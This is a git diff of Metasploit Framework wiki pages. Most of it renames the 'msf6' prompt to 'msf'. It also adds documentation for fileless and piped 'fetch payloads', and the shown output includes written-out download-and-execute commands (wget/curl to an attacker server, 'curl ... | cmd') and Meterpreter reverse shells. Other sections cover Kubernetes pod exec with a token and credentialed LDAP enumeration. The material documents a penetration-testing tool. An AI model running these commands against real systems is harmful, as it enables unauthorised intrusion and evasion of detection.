sessions -i -1 [*] Starting interaction with 1... meterpreter > getuid diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index a6d712663f4d6..a18c40d7717e5 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -24,7 +24,7 @@ cURL, or Certutil. ## Organization Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support -HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the +HTTP, HTTPS, SMB, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the remote host to download the served payload prior to execution. Here is the naming convention for fetch payloads: @@ -43,8 +43,8 @@ The fastest way to understand Fetch Payloads is to use them and examine the outp target with the ability to connect back to us with an HTTP connection and a command execution vulnerability. First, let's look at the payload in isolation: ```msf -msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options +msf exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp): @@ -62,22 +62,43 @@ LPORT 4444 yes The listen port View the full module info with the info, or info -d command. -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > ``` ### Options `FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get into more details on the binaries later. -`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not -supported by every binary and must end in `.exe` on Windows hosts. The default value is random. + `FETCH_SRVHOST` is the IP where the server will listen. + `FETCH_SRVPORT` is the port where the server will listen. + `FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying served payload is the same. + +### Dependent Options +`FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to +memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are +two options: `bash` and `python3.8+`. Both of these require the target to be running Linux Kernel 3.17 or above. +This option is only available when the platform is Linux. + +`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not +supported by every binary and must end in `.exe` on Windows hosts. The default value is random. +This option is only available when `FETCH_FILELESS` is set to `none` + +`FETCH_PIPE` is a binary flag that will create a second resource containing the original fetch command to run and then +will produce a much shorter command to run on the host that will download the original fetch command and pipe it +directly to the target's shell. Use this option if there is a limit on the command size as it will result in a much +smaller original command. When set to true, the `FETCH_URIPATH` option is used for the pipe command resource uri and +the default `FETCH_URIPATH`value is used for the original binary payload uri. +This option is only available when the fetch transport is HTTP or HTTPS and the payload platform is Linux with the +`FETCH_COMMAND` set to `CURL` or `WGET` or the platform is Windows and the `FETCH_COMMAND` is `CURL` + `FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution. -This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error. +This value is not supported by all fetch binaries. If you set this value and it is not supported, it will generate an error. +This option is only available when `FETCH_FILELESS` is set to `none` The remaining options will be the options available to you in the served payload; in this case our served payload is `linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different @@ -85,19 +106,19 @@ payload, we would see different options. ### Generating the Fetch Payload ```msf -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET FETCH_COMMAND => WGET -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201 +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201 FETCH_SRVHOST => 10.5.135.201 -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000 +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000 FETCH_SRVPORT => 8000 -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201 +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201 LHOST => 10.5.135.201 -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567 +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567 LPORT => 4567 -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH & -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > ``` You can see the fetch payload generated: @@ -109,7 +130,7 @@ When you start the `Fetch Handler`, it starts both the server hosting the binary served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are started: ```msf -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler [*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV & [*] Payload Handler Started as Job 0 [*] Fetch Handler listening on 10.5.135.201:8000 @@ -121,7 +142,7 @@ msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under `Jobs`, even though the Fetch Handler is listening: ```msf -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l Jobs ==== @@ -130,7 +151,7 @@ Jobs -- ---- ------- ------------ 0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567 -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000 +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000 [*] exec: netstat -ant | grep 8000 tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN @@ -138,13 +159,13 @@ tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN ``` Killing the Served Payload handler will kill the Fetch Handler as well: ```msf -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0 +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0 [*] Stopping the following job(s): 0 [*] Stopping job 0 -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000 +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000 [*] exec: netstat -ant | grep 8000 -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > ``` ## Using Fetch Payloads on the Fly @@ -154,6 +175,20 @@ really odd situation where you can execute commands, you can get a session in fr a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial. +## Fetch Pipe +If space is at a premium, you can use the `FETCH_PIPE` option. When using `FETCH_PIPE`, the fetch server hosts two +resources: the original binary and then the generated fetch command. In the place of the original command, the command +generated will be a much smaller command to download the original command and pipe it into the shell. +The following example shows both the original command to download and execute the binary and the command to pipe the +original fetch command directly to the shell. Since this requires two downloads, it is less stealthy, but the +command to run on the target is significantly shorter. +``` msf +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler +[*] Command served: curl -so %TEMP%\DpRdBIfeyax.exe http://10.5.135.117:8080/zw3LGTh9FtaLJ4bCQRAWdw & start /B %TEMP%\DpRdBIfeyax.exe + +[*] Command to run on remote host: curl -s http://10.5.135.117:8080/test|cmd +``` + ## Using it in an exploit Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or @@ -255,7 +290,7 @@ Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly 4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you start a tftp fetch handler, a new service will start: ```msf -msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs +msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs Jobs ==== @@ -264,16 +299,16 @@ Jobs -- ---- ------- ------------ 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444 -msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445 +msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445 LPORT => 4445 -msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler +msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler [*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe [*] Payload Handler Started as Job 4 [*] starting tftpserver on 10.5.135.201:8080 [*] Started reverse TCP handler on 10.5.135.201:4445 -msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs +msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs Jobs ==== @@ -283,23 +318,23 @@ Jobs 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444 4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445 -msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080 +msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080 [*] exec: netstat -an | grep 8080 udp 0 0 10.5.135.201:8080 0.0.0.0:* udp 0 0 10.5.135.201:8080 0.0.0.0:* -msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4 +msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4 FETCH_URIPATH => test4 -msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547 +msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547 LPORT => 8547 -msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler +msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler [*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe [*] Payload Handler Started as Job 5 [*] starting tftpserver on 10.5.135.201:8080 [*] Started reverse TCP handler on 10.5.135.201:8547 -msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080 +msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080 [*] exec: netstat -an | grep 8080 udp 0 0 10.5.135.201:8080 0.0.0.0:* diff --git a/docs/metasploit-framework.wiki/How-to-use-the-Favorite-command.md b/docs/metasploit-framework.wiki/How-to-use-the-Favorite-command.md index bf95711bedb7b..b35b5499dcff9 100644 --- a/docs/metasploit-framework.wiki/How-to-use-the-Favorite-command.md +++ b/docs/metasploit-framework.wiki/How-to-use-the-Favorite-command.md @@ -7,7 +7,7 @@ There are two methods of adding a module to the favorites list. The first way is via simply calling `favorite` when there is an active module: ```shell -msf6 exploit(multi/handler) > favorite +msf exploit(multi/handler) > favorite [+] Added exploit/multi/handler to the favorite modules file ``` @@ -15,7 +15,7 @@ msf6 exploit(multi/handler) > favorite Using the active module without an active module will print the `favorite` command help output: ```shell -msf6 > favorite +msf > favorite [-] No module has been provided to favorite. Usage: favorite [mod1 mod2 ...] @@ -35,10 +35,10 @@ OPTIONS: The second method of adding favorites allows adding multiple modules at once: ```msf -msf6 > favorite exploit/multi/handler exploit/windows/smb/psexec +msf > favorite exploit/multi/handler exploit/windows/smb/psexec [+] Added exploit/multi/handler to the favorite modules file [+] Added exploit/windows/smb/psexec to the favorite modules file -msf6 > show favorites +msf > show favorites Favorites ========= @@ -59,14 +59,14 @@ Modules can be deleted from the favorites list individually or by clearing the c #### Deleting an active module from favorites list ```shell -msf6 exploit(multi/handler) > favorite -d +msf exploit(multi/handler) > favorite -d [*] Removing exploit/multi/handler from the favorite modules file ``` #### Specifying module(s) to delete ```shell -msf6 > favorite -d exploit/multi/handler exploit/windows/smb/psexec +msf > favorite -d exploit/multi/handler exploit/windows/smb/psexec [*] Removing exploit/multi/handler from the favorite modules file [*] Removing exploit/windows/smb/psexec from the favorite modules file ``` @@ -74,7 +74,7 @@ msf6 > favorite -d exploit/multi/handler exploit/windows/smb/psexec #### Clearing the favorites list ```msf -msf6 > show favorites +msf > show favorites Favorites ========= @@ -84,9 +84,9 @@ Favorites 0 exploit/multi/handler manual No Generic Payload Handler 1 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution -msf6 > favorite -c +msf > favorite -c [+] Favorite modules file cleared -msf6 > show favorites +msf > show favorites [!] The favorite modules file is empty ``` @@ -95,7 +95,7 @@ msf6 > show favorites The list of favorite modules can be printed by supplying the `-l` flag. This is an alias for the `show favorites` and `favorites` commands. ```shell -msf6 > favorite -l +msf > favorite -l Favorites ========= @@ -104,4 +104,4 @@ Favorites - ---- --------------- ---- ----- ----------- 0 exploit/multi/handler manual No Generic Payload Handler 1 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution -``` \ No newline at end of file +``` diff --git a/docs/metasploit-framework.wiki/How-to-use-the-Git-mixin-to-write-an-exploit-module.md b/docs/metasploit-framework.wiki/How-to-use-the-Git-mixin-to-write-an-exploit-module.md index 893e840c57fa6..9bf829bce56cc 100644 --- a/docs/metasploit-framework.wiki/How-to-use-the-Git-mixin-to-write-an-exploit-module.md +++ b/docs/metasploit-framework.wiki/How-to-use-the-Git-mixin-to-write-an-exploit-module.md @@ -352,19 +352,19 @@ end The module will start the http server and print the repo to clone ```msf -msf6 > use exploit/multi/http/git_clone_test +msf > use exploit/multi/http/git_clone_test [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(multi/http/git_clone_test) > set srvport 9999 +msf exploit(multi/http/git_clone_test) > set srvport 9999 srvport => 9999 -msf6 exploit(multi/http/git_clone_test) > set lhost 192.168.140.1 +msf exploit(multi/http/git_clone_test) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(multi/http/git_clone_test) > set srvhost 192.168.140.1 +msf exploit(multi/http/git_clone_test) > set srvhost 192.168.140.1 srvhost => 192.168.140.1 -msf6 exploit(multi/http/git_clone_test) > run +msf exploit(multi/http/git_clone_test) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(multi/http/git_clone_test) > [*] Started reverse TCP handler on 192.168.140.1:4444 +msf exploit(multi/http/git_clone_test) > [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Using URL: http://192.168.140.1:9999/MOYuJfC [*] Server started. [*] Git repository to clone: http://192.168.140.1:9999/y-find.git diff --git a/docs/metasploit-framework.wiki/Keeping-in-sync-with-rapid7-master.md b/docs/metasploit-framework.wiki/Keeping-in-sync-with-rapid7-master.md index 007f1eb4eb7ef..e5201ad6ef583 100644 --- a/docs/metasploit-framework.wiki/Keeping-in-sync-with-rapid7-master.md +++ b/docs/metasploit-framework.wiki/Keeping-in-sync-with-rapid7-master.md @@ -6,7 +6,7 @@ The term 'repo' is short for 'Repository.' Also known as 'fork' (as a noun). ## The Easy Way -The easiest way to keep in sync with master is to trash your fork of `metasploit-framework`, and re-fork. This is a surprisingly common practice, since most people in the world don't work with Metasploit every day. If you're the sort to be struck by hackerish inspiration every few months, and couldn't give a whit about preserving branches, history, or pull requests, simply nuke your local fork. +The easiest way to keep in sync with master is to trash your fork of `metasploit-framework`, and re-fork. This is a surprisingly common practice, since most people in the world don't work with Metasploit every day. If you're the sort to be struck by hackerish inspiration every few months, and couldn't give a with about preserving branches, history, or pull requests, simply nuke your local fork. On your fork, in the GitHub UI, go to **Settings**, scroll down to the **Danger Zone**, and hit **Delete this repository**. Once you've re-authenticated, re-fork the `metasploit-framework` repository by going to the [Rapid7 repo](https://github.com/rapid7/metasploit-framework) and hit **Fork** as hard as you possibly can. diff --git a/docs/metasploit-framework.wiki/Loading-Test-Modules.md b/docs/metasploit-framework.wiki/Loading-Test-Modules.md index 6acb997619d34..fac92eaee1e2d 100644 --- a/docs/metasploit-framework.wiki/Loading-Test-Modules.md +++ b/docs/metasploit-framework.wiki/Loading-Test-Modules.md @@ -5,18 +5,18 @@ and should not be used during normal operations. These modules also as part of t By default the test modules in Metasploit are not loaded when Metasploit starts. To load them, run `loadpath test/modules` after which you should see output similar to the following: ```msf -msf6 > loadpath test/modules +msf > loadpath test/modules Loaded 38 modules: 14 auxiliary modules 13 exploit modules 11 post modules -msf6 > +msf > ``` The modules can be searched for: ```msf -msf6 > search post/test +msf > search post/test Matching Modules ================ @@ -35,8 +35,8 @@ Matching Modules Example of running the test module against an opened session: ``` -msf6 > use post/test/cmd_exec -msf6 post(test/cmd_exec) > run session=-1 +msf > use post/test/cmd_exec +msf post(test/cmd_exec) > run session=-1 ... [*] Testing complete in 2.04 seconds [*] Passed: 6; Failed: 0; Skipped: 0 @@ -47,7 +47,7 @@ The `post/test/all` module is an aggregate module that can be used to quickly ru against a currently open session: ```msf -msf6 post(test/all) > run session=-1 +msf post(test/all) > run session=-1 [*] Applicable modules: Valid modules for x86/windows session 1 diff --git a/docs/metasploit-framework.wiki/Managing-Sessions.md b/docs/metasploit-framework.wiki/Managing-Sessions.md index d0dd774c79388..6082a96dcbe72 100644 --- a/docs/metasploit-framework.wiki/Managing-Sessions.md +++ b/docs/metasploit-framework.wiki/Managing-Sessions.md @@ -7,7 +7,7 @@ When you have a number of sessions open, searching can be a useful tool to navig You can get a list of sessions matching a specific criteria within msfconsole: ```msf -msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_id:2" +msf payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_id:2" Active sessions =============== @@ -20,7 +20,7 @@ Active sessions Currently, the only supported keywords for search are `session_id`, `session_type`, and `last_checkin`. These keywords can be combined to further filter your results, and used with other flags. For example: ```msf -msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_type:meterpreter last_checkin:greater_than:10s last_checkin:less_than:10d5h2m30s" -v +msf payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_type:meterpreter last_checkin:greater_than:10s last_checkin:less_than:10d5h2m30s" -v Active sessions =============== @@ -45,7 +45,7 @@ Of note in the above example, `last_checkin` requires an extra argument. The sec If `--search` is used in conjunction with `--kill-all`, it will restrict the latter function to only the search results. For example: ```msf -msf6 payload(windows/meterpreter/reverse_http) > sessions -K -S "session_type:meterpreter" +msf payload(windows/meterpreter/reverse_http) > sessions -K -S "session_type:meterpreter" [*] Killing matching sessions... Active sessions @@ -58,5 +58,5 @@ Active sessions [*] 192.168.2.132 - Meterpreter session 1 closed. [*] 192.168.2.132 - Meterpreter session 2 closed. -msf6 payload(windows/meterpreter/reverse_http) > +msf payload(windows/meterpreter/reverse_http) > ``` diff --git a/docs/metasploit-framework.wiki/Measuring-Metasploit-Performance.md b/docs/metasploit-framework.wiki/Measuring-Metasploit-Performance.md index 6318fcc4e73eb..3825c73ef692e 100644 --- a/docs/metasploit-framework.wiki/Measuring-Metasploit-Performance.md +++ b/docs/metasploit-framework.wiki/Measuring-Metasploit-Performance.md @@ -30,7 +30,7 @@ In both scenarios, reports will be generated and written to disk that can be ope The `time` command in msfconsole can be used to record the performance of a command: ```msf -msf6 exploit(windows/smb/ms17_010_psexec) > time reload +msf exploit(windows/smb/ms17_010_psexec) > time reload [*] Reloading module... [+] Command "reload" completed in 0.20876399998087436 seconds ``` @@ -38,7 +38,7 @@ msf6 exploit(windows/smb/ms17_010_psexec) > time reload It is possible to record CPU and memory usage with the `--memory` and `--cpu` flags: ```msf -msf6 exploit(windows/smb/ms17_010_psexec) > time --cpu search smb +msf exploit(windows/smb/ms17_010_psexec) > time --cpu search smb ... etc ... Generating CPU dump /var/folders/wp/fp12h8q13kq7mvf4mll72c140000gq/T/msf-profile-2023030711505620230307-77101-4josw1/cpu [+] Command "search smb" completed in 0.4150249999947846 seconds diff --git a/docs/metasploit-framework.wiki/Metasploit-Database-Support.md b/docs/metasploit-framework.wiki/Metasploit-Database-Support.md index 5d69650766174..f5f4fa6bbf5fb 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Database-Support.md +++ b/docs/metasploit-framework.wiki/Metasploit-Database-Support.md @@ -42,7 +42,7 @@ Creating initial database schema This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information. If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this: ``` -msf6 > db_status +msf > db_status [*] Connected to msf. Connection type: postgresql. ``` diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md b/docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md index b973086a9065d..e47599f550dbb 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md @@ -11,7 +11,7 @@ Note that any port can be used to run an application which communicates via HTTP This document is generic advice for running and debugging HTTP based Metasploit modules, but it is best to use a Metasploit module which is specific to the application that you are pentesting. For instance: ```msf -msf6 > search tomcat http +msf > search tomcat http ``` ### HTTP Examples @@ -49,12 +49,12 @@ run http://example.com HttpTrace=true verbose=true For instance: ```msf -msf6 > use scanner/http/title -msf6 auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1 +msf > use scanner/http/title +msf auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 auxiliary(scanner/http/title) > set HttpTrace true +msf auxiliary(scanner/http/title) > set HttpTrace true HttpTrace => true -msf6 auxiliary(scanner/http/title) > run +msf auxiliary(scanner/http/title) > run #################### # Request: @@ -89,7 +89,7 @@ Content-Length: 178 [+] [127.0.0.1:80] [C:200] [R:] [S:SimpleHTTP/0.6 Python/2.7.16] Directory listing for / [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/title) > +msf auxiliary(scanner/http/title) > ``` To send all HTTP requests through a proxy, i.e. through Burp Suite: @@ -170,13 +170,13 @@ Header-Name-Here: <%= 'content of header goes here' %> The following output shows leveraging the scraper scanner module with an additional header stored in ```additional_headers.txt```. ```msf -msf6 auxiliary(scanner/http/scraper) > cat additional_headers.txt +msf auxiliary(scanner/http/scraper) > cat additional_headers.txt [*] exec: cat additional_headers.txt X-Cookie-Header: <%= 'example-cookie' %> -msf6 auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt +msf auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt HTTPRAWHEADERS => additional_headers.txt -msf6 auxiliary(scanner/http/scraper) > exploit +msf auxiliary(scanner/http/scraper) > exploit #################### # Request: diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-Kubernetes.md b/docs/metasploit-framework.wiki/Metasploit-Guide-Kubernetes.md index b5c0ce053d92e..76707953d4cbf 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-Kubernetes.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-Kubernetes.md @@ -9,7 +9,7 @@ a compromised docker container, or external to the cluster if the required APIs In the future there may be more modules than listed here, for the full list of modules run the `search` command within msfconsole: ```msf -msf6 > search kubernetes +msf > search kubernetes ``` ### Lab Environment @@ -41,12 +41,12 @@ run session=-1 If the Kubernetes API is publicly accessible and you have a JWT Token: ```msf -msf6 > use cloud/kubernetes/enum_kubernetes -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443 +msf > use cloud/kubernetes/enum_kubernetes +msf auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443 RHOST => https://kubernetes.docker.internal:6443 -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO... +msf auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO... TOKEN => eyJhbGciO... -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > run +msf auxiliary(cloud/kubernetes/enum_kubernetes) > run [*] Running module against 127.0.0.1 [+] Kubernetes service version: {"major":"1","minor":"21","gitVersion":"v1.21.2","gitCommit":"092fbfbf53427de67cac1e9fa54aaa09a28371d7","gitTreeState":"clean","buildDate":"2021-06-16T12:53:14Z","goVersion":"go1.16.5","compiler":"gc","platform":"linux/amd64"} @@ -68,7 +68,7 @@ Namespaces By default the `run` command will enumerate all resources available, but you can also specify which actions you would like to perform: ```msf -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > show actions +msf auxiliary(cloud/kubernetes/enum_kubernetes) > show actions Auxiliary actions: @@ -115,9 +115,9 @@ If you have a Meterpreter session on a compromised Kubernetes container with the will be gathered from the session host automatically. The `TOKEN` will be read from the mounted `/run/secrets/kubernetes.io/serviceaccount/token` file if available: ```msf -msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket +msf exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket TARGET => Interactive WebSocket -msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1 +msf exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1 [*] Routing traffic through session: 1 [+] Kubernetes service host: 10.96.0.1:443 @@ -137,19 +137,19 @@ pwd If the Kubernetes API is available remotely, the RHOST values and token can be set manually. In this scenario a token is manually specified, to execute a Python Meterpreter payload within the `thinkphp-67f7c88cc9-tgpfh` pod: ```msf -msf6 > use exploit/multi/kubernetes/exec +msf > use exploit/multi/kubernetes/exec [*] Using configured payload python/meterpreter/reverse_tcp -msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1... +msf exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1... TOKEN => eyJhbGciOiJSUzI1... -msf6 exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh +msf exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh POD => thinkphp-67f7c88cc9-tgpfh -msf6 exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31 +msf exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31 RHOSTS => 192.168.159.31 -msf6 exploit(multi/kubernetes/exec) > set TARGET Python +msf exploit(multi/kubernetes/exec) > set TARGET Python TARGET => Python -msf6 exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp +msf exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp PAYLOAD => python/meterpreter/reverse_tcp -msf6 exploit(multi/kubernetes/exec) > run +msf exploit(multi/kubernetes/exec) > run [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Sending stage (39736 bytes) to 192.168.159.31 @@ -164,5 +164,5 @@ Architecture : x64 Meterpreter : python/linux meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/kubernetes/exec) > +msf exploit(multi/kubernetes/exec) > ``` diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md b/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md index f0293d4336bf2..04899f4497c7d 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md @@ -34,10 +34,17 @@ use auxiliary/gather/ldap_query run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd action=ENUM_ACCOUNTS ``` +Alternatively, the URI syntax can be used: + +``` +use auxiliary/gather/ldap_query +run ldap://domain.local;Administrator:p4$$w0rd@192.168.123.13/dc=domain,dc=local action=ENUM_ACCOUNTS +``` + Example output: ```msf -msf6 auxiliary(gather/ldap_query) > run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd action=ENUM_ACCOUNTS +msf auxiliary(gather/ldap_query) > run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd action=ENUM_ACCOUNTS [*] Running module against 192.168.123.13 [*] Discovering base DN automatically @@ -105,8 +112,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi Query LDAP for accounts: ```msf -msf6 > use auxiliary/gather/ldap_query -msf6 auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13 +msf > use auxiliary/gather/ldap_query +msf auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13 [*] Running module against 192.168.123.13 [+] 